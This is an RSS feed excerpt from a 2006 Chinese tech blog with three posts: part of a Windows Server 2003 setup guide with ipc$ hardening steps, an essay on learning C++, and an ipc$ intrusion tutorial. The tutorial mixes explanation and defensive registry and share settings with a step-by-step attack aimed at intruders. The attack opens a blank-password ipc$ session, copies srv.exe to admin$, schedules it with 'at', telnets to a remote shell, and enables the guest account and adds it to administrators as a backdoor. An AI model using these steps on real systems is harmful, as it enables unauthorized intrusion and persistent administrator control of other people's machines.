		<p>　　Windows server 2003没有集成MS Java VM或Sun Java VM,你可以自行下载并安装它。 　　 </p>
		<p>　　16.安装DirectX 9a 　　 </p>
		<p>　　在Windows Server 2003上安装DirectX 9a和在其他版本的Windows上安装DirectX 9a的方法是一样的。安装之前 </p>
		<p>　　必须先启用DirectX and Graphics Acceleration。 　　 </p>
		<p>　　17.可用的杀毒软件和防火墙： </p>
		<p>　　Symantec Norton Antivirus Corporate 8.01 </p>
		<p>　　Zone Alarm 3.7.159 </p>
		<p>　　Norton Personal Firewall 2003   </p>
		<p>
				<br />--------------------------------------------------------------------------------<br /> <br />  　　五、如何防范ipc$入侵 　　 </p>
		<p>　　1、禁止空连接进行枚举(此操作并不能阻止空连接的建立) 　　 </p>
		<p>　　首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把 </p>
		<p>　　RestrictAnonymous = DWORD的键值改为：00000001。 </p>
		<p>　　restrictanonymous REG_DWORD </p>
		<p>　　0x0 缺省 </p>
		<p>　　0x1 匿名用户无法列举本机用户列表 </p>
		<p>　　0x2 匿名用户无法连接本机IPC$共享 </p>
		<p>　　说明:不建议使用2，否则可能会造成你的一些服务无法启动，如SQL Server 　　 </p>
		<p>　　2、禁止默认共享 </p>
		<p>　　1）察看本地共享资源 </p>
		<p>　　运行-cmd-输入net share </p>
		<p>　　2）删除共享(每次输入一个） </p>
		<p>　　net share ipc$ /delete </p>
		<p>　　net share admin$ /delete </p>
		<p>　　net share c$ /delete </p>
		<p>　　net share d$ /delete（如果有e,f,……可以继续删除） </p>
		<p>　　3）修改注册表删除共享 </p>
		<p>　　运行-regedit </p>
		<p>　　找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] </p>
		<p>　　把AutoShareServer（DWORD）的键值改为0000000。 </p>
		<p>　　如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。 　　 </p>
		<p>　　3、停止server服务 　　 </p>
		<p>　　1）暂时停止server服务 </p>
		<p>　　net stop server /y （重新启动后server服务会重新开启） </p>
		<p>　　2）永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务 </p>
		<p>　　控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用 　　 </p>
		<p>　　4、安装防火墙(选中相关设置)，或者端口过滤(滤掉139,445等) 　　 </p>
		<p>　　1).解开文件和打印机共享绑定 </p>
		<p>　　鼠标右击桌面上[网络邻居]→[属性]→[本地连接]→[属性]，去掉“Microsoft网络的文件和打印机共享”前面的勾，解开文件和打印机共享绑定。这样就会禁止所有从139和445端口来的请求，别人也就看不到本机的共享了。 </p>
		<p>　　2).利用TCP/IP筛选 </p>
		<p>　　鼠标右击桌面上[网络邻居]→[属性]→[本地连接]→[属性]，打开“本地连接属性”对话框。选择[Internet协议(TCP/IP)]→[属性]→[高级]→[选项]，在列表中单击选中“TCP/IP筛选”选项。单击[属性]按钮，选择“只允许”，再单击[添加]按钮(如图2)，填入除了139和445之外要用到的端口。这样别人使用扫描器对139和445两个端口进行扫描时，将不会有任何回应。 </p>
		<p>　　3).使用IPSec安全策略阻止对端口139和445的访问 </p>
		<p>　　选择[我的电脑]→[控制面板]→[管理工具]→[本地安全策略]→[IP安全策略，在本地机器]，在这里定义一条阻止任何IP地址从TCP139和TCP445端口访问IP地址的IPSec安全策略规则，这样别人使用扫描器扫描时，本机的139和445两个端口也不会给予任何回应。 </p>
		<p>　　4).使用防火墙防范攻击 </p>
		<p>　　在防火墙中也可以设置阻止其他机器使用本机共享。如在“天网个人防火墙”中，选择一条空规则，设置数据包方向为“接收”，对方IP地址选“任何地址”，协议设定为“TCP”，本地端口设置为“139到139”，对方端口设置为“0到0”，设置标志位为“SYN”，动作设置为“拦截”，最后单击[确定]按钮，并在“自定义IP规则”列表中勾选此规则即可启动拦截139端口攻击了(如图3)。 　　 </p>
		<p>　　5、给所有账户设置复杂密码，防止通过ipc$穷举密码 </p>
		<p>
				<br /> </p>
<img src ="http://www.cnitblog.com/raise/aggbug/9751.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 11:32 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9751.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一个关于学习C++的帖子（转贴）</title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9750.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 03:30:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9750.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9750.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9750.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9750.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9750.html</trackback:ping><description><![CDATA[我学习C++的心路历程 <br />曾经因为自己的一些帖子在网上引起了大家对C++学习和使用的讨论，再回想起自己接触C++三年多，一年前鼓足勇气重新开始再次学习的情景，现在的我心中多了几份感慨，更多的是觉得自己学习的过程颇具普遍性，几次想把自己的一些心得写下来，对自己算是个总结和回顾，对别人即使谈不上帮助但相信也能算是个学习C++的案例分析吧。但开始几次提笔总是过于追求完美，想把所有的东西都写下来，但几次提笔和几次放弃后，我终于打消了“完美”的这个想法，等一下还要和自己女朋友打电话，就这一个小时内，能说多少算多少吧，毕竟我是说出来写下来了。 <br />接触C++是在99年，那个时候自己已经有一些C语言的基础了，刚开始会用的关键字比起C来说也许只多了Class吧，那个时候在学校，也学了VC++，写了几个很简单的游戏程序，然后就因为很多琐事没有再在C++上有更多的深入，这也是我现在非常遗憾的事情，也许那个时候我能够投入进去，现在应该是能颇有小成了。 <br />02年开始了一个新的里程，我自己有充足的来支配时间。就在那一年的暑假，开始了新的C++学习，我知道我以前的基础对于学习C++来说，几乎不会有什么更大的帮助，所以我选择了重新开始，从IF….ELSE这样的语法开始。选择的第一本书是好友友情赠送的《C++ PRIMER》，当时我只是看了不到三天，我就没有继续看了，我知道这本书非常不错，但是肯定不适合当时的我，因为从一开始就有过多的东西给我困惑，类，模板，重载……，这样东西几乎让我放弃学习C++，因为我那个时候觉得自己C还是有一定功力的，就把C搞透对我来说那个时候也是个不错的选择，但毕竟C的内涵无法让我有更多的激情，重复的东西我向来就不喜欢。然后我开始考虑++这个两种语言唯一的标示区别到底蕴涵着什么？同时我开始考虑到底程序设计语言是什么？随后我在图书馆借了本书《程序设计语言的概念和实现》，无论别人如何看待这本书但它却让我明白了很多，因为这本书最大的特点是抽象出了现代程序设计语言的各种语义和其中蕴涵的思想，让我对语言本身这个概念有了更深刻的认识，让我建立去了各种语言自身的不同的语法都代表实现一种对于所有语言都共有的语义，而一个富有逻辑的语义系列却反映出了更一般的程序设计思想。在有了这个概念后，我接触到了《C++设计与演化》这本书，在学习C++过程中这本书对我的帮助是最大的，这本书让我明白了C++的设计理念和各种语言设施所代表的实现语义，既各种纷繁的C++语言特性都是为了实现某种功能并且在不违反C++设计哲学基础上建立起来的。这样的对于C++的宏观基础，让我在以后的学习日子里受益非浅，而《C++设计与演化》这本书我也同时具有中英两种版本，每当我对很多关于C++特性困惑的时候我都会把英文版（随便炫耀一下，这本书上有B.S的亲笔签名：））拿出来，再好好的看看。就象前阵子对于C++的学习，可谓讨论颇多，我自己也再次把这本书拿出来，评价自己所持有的观点是否正确。从此我认为自己算是走入了学习C++正确道路。 <br />10月B.S来到中国，那个时候的我对于C++可以说只是个完全初学者（呵呵，给大家举个例子，那个时候我在杭州碰到了cber，他开始告诉我他的网名，我却说你的姓名是什么？后来他写下他的名字和联系方式我却还不知道我对面站着的是个C++顶尖高手，幸亏那个时候的我还和他合影了一张相片，这算是我比较明智的地方吧，至少没有留下遗憾。）我虽然是个初学者，但我不认为我应该错过这次和大师亲密接触的机会（尤其是在反复拜读过他的书和大部分论文后），自费来到杭州（其实也花了不少那里同学的钱：））听了B.S在浙大的报告，我很早就去了，坐在第一排，整个报告会也是我第一个问问题，回想那个时候我的问题多少显的幼稚，但我告诉自己无论自己现在怎么样，这样的机会一辈子也许不会有了，所以我始终保持了十分积极，B.S的答复十分详细以至与我到后面就基本处于假听的状态：》但B.S的大师风范却让我颠倒，从此对于C++的学习我也不再功利。 <br />学习就是积累，期间我看过《C++编程思想》，又对C++有了更感性的了解，三个月后再次拿出《C++ PIRMER》，这个时候我已经能非常明白LIPPMAN这本经典大作的巧妙用心了，它绝对不是给初学者看的，但对于入门后完全的学习和理解C++效果却十分明显，从书的一开始就直接进入C++的主题，前面五章都用类设计一个数据结构，让读者完全明白了各种用户定义类型所代表的抽象能力，然后直接进入第六章标准库中的容器类，这样的设计让读者十分清楚的建立容器和类这两个C++中十分重要的概念，之后的学习自然是非常富有满足感。以前学习编程的经验告诉我，写程序才是学习的中心，所以并且我把《C++ PRIMER》中的大部分代码都调试通过了，样例的代码连贯性也是这本书的最大的特点，而另外一大特点就是代码没有一个是可以直接通过的，都需要自己的调试，在调试这样的代码过程中更加深了我多C++的认识。不到两个月的时间就把《C++ PRIMER》初看了一遍，加之在CSDN上面和大家的交流，感觉已经建立起了对C++的完整的基本认识。 <br />没有看过《C++程序设计语言》，算是学过C++吗？在我眼里，如果连语言的创作者的书都没有读过，如何去理解这本语言？去年12月我花了整整一个月把这本书好好的看了两遍，唯一的感觉是这本书才是真正有资格称为《C++编程思想》的。书和《C++ PRIMER》是完全的不同风格，后者告诉你的是完整C++的语法和其支持的语义。而前者是真正告诉你如何去用C++思考问题和编写符合C++设计理念的代码。你能明白C++的设计理念极其理念下的程序设计思路和代码编写规范。到今年元旦，感觉自己比起当初已经是进步不小，所以没有继续看书，而是在寒假看了几个大点规模的C++程序源代码。 <br />之后，我也读了一些C++大家的作品，在这里需要提出来的是《C++标准程序库》和《C++沉思录》，前者写作方式通俗易懂，但全书内容却十分丰富，对于学习标准库可以说是最佳表现的作品。而后者，阅读感觉和《C++程序设计语言》一样，思想性非常强，读这样的书很累，脑子必须一直思考问题，思考作者里面提出的问题和他提出的解决方式。这本书最大的特点是非常直接的把C++语言的核心暴露出来-----三种抽象模型和极其语言设施本身对这三种抽象模型的支持。而《C++沉思录》给我的更深层思考是什么才是运用C++最合理的方式，这也是后来我发帖说明自己对于C++的学习和使用的一些见解的原始思想来源。 <br />再后来，自己慢慢的用C++实现了一些小程序，有的是书本上的，有的是自己想的，写程序和调试的过程给我的感觉就是烦恼和满足的交替过程也许就是这样的反复过程才是程序员追求的。文章至此，多数记载了自己的历程，对很多看到这里的读者来说相信并没有什么帮助，下面我非常直接的说出自己的学习C++感受，从前面我的经历大家都可以看的出来我不是什么高手，但我保证我下面写的东西对于初学C++的是十分有帮助的，毕竟我刚刚走过那一段时的灰暗日子。 <br />学习C++重在理解其各种语言设施所代表的语义，以及C++所能表示的语义所代表的设计思想。首先从宏观上入手，你需要明白的是C++是程序设计语言的本质。在此我把C++最重要的性质写下来：C++是一门静态类型检查，基于C内存模式，支持四种基本程序设计范型的语言。注意，这里说明了三个本质特性，静态说明了语言的类型检查性质，基于C内存模式告诉我们在C++中所有与内存有关的操作都需要程序员自己来负责，这样就带来了很多设计程序时的需要注意的地方，而理解支持的四种基本范型却是理解各种语言设施的基础。然后记住C++的最大的一点设计哲学，也是其贯穿应用C++的一条本质，我引用《C++ PRIMER》中文版前言内的一句话表示--“C++的基础是各种设施，它们让用户能够通过定义新的数据类型来扩展语言本身，这些新类型可以与内置类型一样的使用方式（如何理解这句话是关键，我的理解是：用户定义类型可以在任何使用内置类型的时候做为其替代，再具体点说就是用户定义类型可以象内置类型那样可以被声明，其对象可以被初始化，可以相互复制，可以象内置类型对象那样和很多操作符一起使用，可以被作为参数传递给函数，可以作为函数的返回值，可以作为容器的操作对象，用户定义类型可以和内置类型一样作为模板的参数），掌握这些设施（哪些设施？就是让用户定义类型可以和内置类型一样方便使用的设施，包括什么？构造，拷贝，解构函数，操作副重载.....）的第一步就是理解基本语言（什么是基本语言？就是C++中better c部分）。 <br />在此，我还想提出一点十分重要的概念：一门语言的最本质的东西就是其类型系统，任何语言都有自己的独特的类型系统，学习C++就是学习他的类型系统。所以首先需要彻底明白什么是数据类型这个概念。这样你的思路就清楚了，你有选择，从每一种C++支持的设计范型入手学习。 <br />结构化设计-----也就是C++中的better c部分，你需要在C的基础上学会函数重载和引用这两个最重要的语言新特心性。 <br />基于对象----你需要建立C++最强大的概念--类，也就是用户定义类型，这其实就是数据结构里面接触的抽象数据类型的概念，以及合理构造使用类的一系列语言措施。并始终记住，在C++进行设计时用类来表示我们需要表示的概念。类也是C++抽象机制里面最核心的概念。 <br />面向对象----在这里你需要知道继承和多态这样的OO概念，以及句柄类这样常见的设计技术，这里你需要明白你开始进入了对接口编程的阶段。同时你要学会OO思想，C++的一些设施只是为了把OO思想在语言所支持的语义中充分的表示出来。但是在这里，同时你需要明白的C++能表示的语义是受到其当初语言设计原则限制的（什么原则？静态类型检查，不为不需要的东西付出代价，选择权在程序员手上语言本身不去强迫程序员的做出选择），也就是说C++所能表示的OO思想可以称为具有C++特色的OO思想了。这样的OO思想和JAVA所代表的纯OO哪个更好？没有定论，因为他们本身的设计理念就不一样。 <br />泛型设计----这里你需要明白最重要的一点是C++的temlate机制无论其开始建立的初衷是什么，现在他所代表的真实含义是：编译时类型推导，也就是编译时多态，由此明白了泛型的核心---把各种类型当作一种抽象条件的具体化，C++有措施可以定义抽象条件吗？没有，所以这些条件只能定义在我们自己的心中，但我们可以把具体化的类型当作一种抽象条件实现在template机制中去，从而使tempalte成为比类型推导机制更进一步的东西，那就是抽象条件的推导。也就是说，我们不再把template接受的参数看成是类型，而是把template看成是一种接受抽象条件的机制，无论其类型如何，只要这种类型满足tempalte所接受的抽象条件就可以作为参数传递进去，这样就代表了一种泛型的思想-----类型不再是根本，抽象条件才是，类型不过是抽象条件的外衣和在C++中的实现方式而已。在结合基于对象和泛型设计这两种抽象设计模式的技术上诞生的工业产品就是---STL。 <br />最后再说点其他的想法，C++作为一门支持多种设计模型的计算机程序设计语言，其蕴涵思想可谓博大精深，熟练掌握已属不易，精通更是难如登天，但就象C++开始设计的那样，你对C++还不了解的地方并不妨碍你使用C++和用C++在你力所能及的范围内作出合理的设计。但我们应该明白，到一定程度的时候我们应该跳出去，站在一个更高的地方去重新审视C++，重新审视自己对于程序语言，对于设计思想，甚至与对于软件本质的认识是否在不断的进步？对于C++的全心投入不能成为忽略其他的技术掌握的借口，总之，面对纷繁而来的新事物我们要有自己的判断，过于浮华是我们所不耻的，但在成长的道路也决不能故步自封，做井底之蛙。 <br />这里，终于完成了这不完美的总结，如果对你能有哪怕只是微不足道的帮助，或者即使没有帮助，你也觉得没有浪费刚才看这文章的时间话，我想我的目的就已经达到了，谢谢你的阅读，我女朋友已经久等了：》，就次止笔<img src ="http://www.cnitblog.com/raise/aggbug/9750.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 11:30 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9750.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于ipc$入侵 </title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9748.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 03:21:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9748.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9748.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9748.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9748.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9748.html</trackback:ping><description><![CDATA[
		<p>一 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).如果你看完这篇帖子仍有疑问,请马上回复!<br /><br /><br />二 什么是ipc$<br />IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。<br />利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。<br />我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。<br />所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$，访问共享资源,导出用户列表,并使用一些字典工具，进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.</p>
		<p>解惑:<br />1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能，其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数，所以不能在Windows 9.x中运行。<br />也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2004年了,建议98的同志换一下系统吧,98不爽的)<br />2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接<br />3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表</p>
		<p>
				<br />三 建立ipc$连接在hack攻击中的作用<br />就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!<br />(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server，还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)<br />不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的<br />因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.<br />所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.</p>
		<p>
				<br />四 ipc$与空连接,139,445端口,默认共享的关系<br />以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)</p>
		<p>1)ipc$与空连接:<br />不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.<br />许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).<br />2)ipc$与139,445端口:<br />ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.<br />3)ipc$与默认共享<br />默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)</p>
		<p>
				<br />五 ipc$连接失败的原因<br />以下5个原因是比较常见的:<br />1)你的系统不是NT或以上操作系统;<br />2)对方没有打开ipc$默认共享<br />3)对方未开启139或445端口(惑被防火墙屏蔽)<br />4)你的命令输入有误(比如缺少了空格等)<br />5)用户名或密码错误(空连接当然无所谓了)<br />另外,你也可以根据返回的错误号分析原因：<br />错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限；<br />错误号51，Windows 无法找到网络路径 : 网络有问题；<br />错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；<br />错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$；<br />错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。<br />错误号1326，未知的用户名或错误密码 ： 原因很明显了；<br />错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。（连接域控会出现此情况）<br />错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。<br />关于ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.</p>
		<p>
				<br />六 如何打开目标的IPC$(此段引自相关文章)<br />首先你需要获得一个不依赖于ipc$的shell，比如sql的cmd扩展、telnet、木马,当然，这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令的用法）,还是不行的话（比如有防火墙，杀不了）建议放弃。</p>
		<p>
				<br />七 如何防范ipc$入侵<br />1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)<br />首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)</p>
		<p>2禁止默认共享<br />1）察看本地共享资源<br />运行-cmd-输入net share<br />2）删除共享(每次输入一个）<br />net share ipc$ /delete<br />net share admin$ /delete<br />net share c$ /delete<br />net share d$ /delete（如果有e,f,……可以继续删除）<br />3）停止server服务<br />net stop server /y （重新启动后server服务会重新开启）<br />4）修改注册表<br />运行-regedit<br />server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。<br />pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。<br />如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。</p>
		<p>3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务<br />控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用</p>
		<p>4安装防火墙(选中相关设置)，或者端口过滤(滤掉139,445等),或者用新版本的优化大师</p>
		<p>5设置复杂密码，防止通过ipc$穷举密码</p>
		<p>
				<br />八 相关命令<br />1)建立空连接:<br />net use <a href="file://IP/ipc$">\\IP\ipc$</a> "" /user:"" (一定要注意:这一行命令中包含了3个空格)</p>
		<p>2)建立非空连接:<br />net use <a href="file://IP/ipc$">\\IP\ipc$</a> "用户名" /user:"密码" (同样有3个空格)</p>
		<p>3)映射默认共享:<br />net use z: <a href="file://IP/c$">\\IP\c$</a> "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推)<br />如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: <a href="file://IP/c$">\\IP\c$</a></p>
		<p>4)删除一个ipc$连接<br />net use <a href="file://IP/ipc$">\\IP\ipc$</a> /del</p>
		<p>5)删除共享映射<br />net use c: /del 删除映射的c盘，其他盘类推<br />net use * /del 删除全部,会有提示要求按y确认</p>
		<p>
				<br />九 经典入侵模式<br />这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)</p>
		<p>1. C:\&gt;net use <a href="file://127.0.0.1/IPC$">\\127.0.0.1\IPC$</a> "" /user:"admintitrators"<br />这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。<br />　　<br />2. C:\&gt;copy srv.exe <a href="file://127.0.0.1/admin$">\\127.0.0.1\admin$</a><br />先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。<br />　　<br />3. C:\&gt;net time <a href="file://127.0.0.1/">\\127.0.0.1</a><br />查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。<br />　　<br />4. C:\&gt;at <a href="file://127.0.0.1/">\\127.0.0.1</a> 11:05 srv.exe<br />用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！）<br />　　<br />5. C:\&gt;net time <a href="file://127.0.0.1/">\\127.0.0.1</a><br />再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。<br />　　<br />6. C:\&gt;telnet 127.0.0.1 99<br />这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。<br />虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了<br />　　<br />7.C:\&gt;copy ntlm.exe <a href="file://127.0.0.1/admin$">\\127.0.0.1\admin$</a><br />用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。<br />　　<br />8. C:\WINNT\system32&gt;ntlm<br />输入ntlm启动（这里的C:\WINNT\system32&gt;指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！</p>
		<p>9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)</p>
		<p>为了以防万一,我们再把guest激活加到管理组<br />10. C:\&gt;net user guest /active:yes<br />将对方的Guest用户激活</p>
		<p>11. C:\&gt;net user guest 1234<br />将Guest的密码改为1234,或者你要设定的密码</p>
		<p>12. C:\&gt;net localgroup administrators guest /add<br />将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)</p>
		<p>
				<br />十 总结:<br />关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论.</p>
<img src ="http://www.cnitblog.com/raise/aggbug/9748.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 11:21 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9748.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>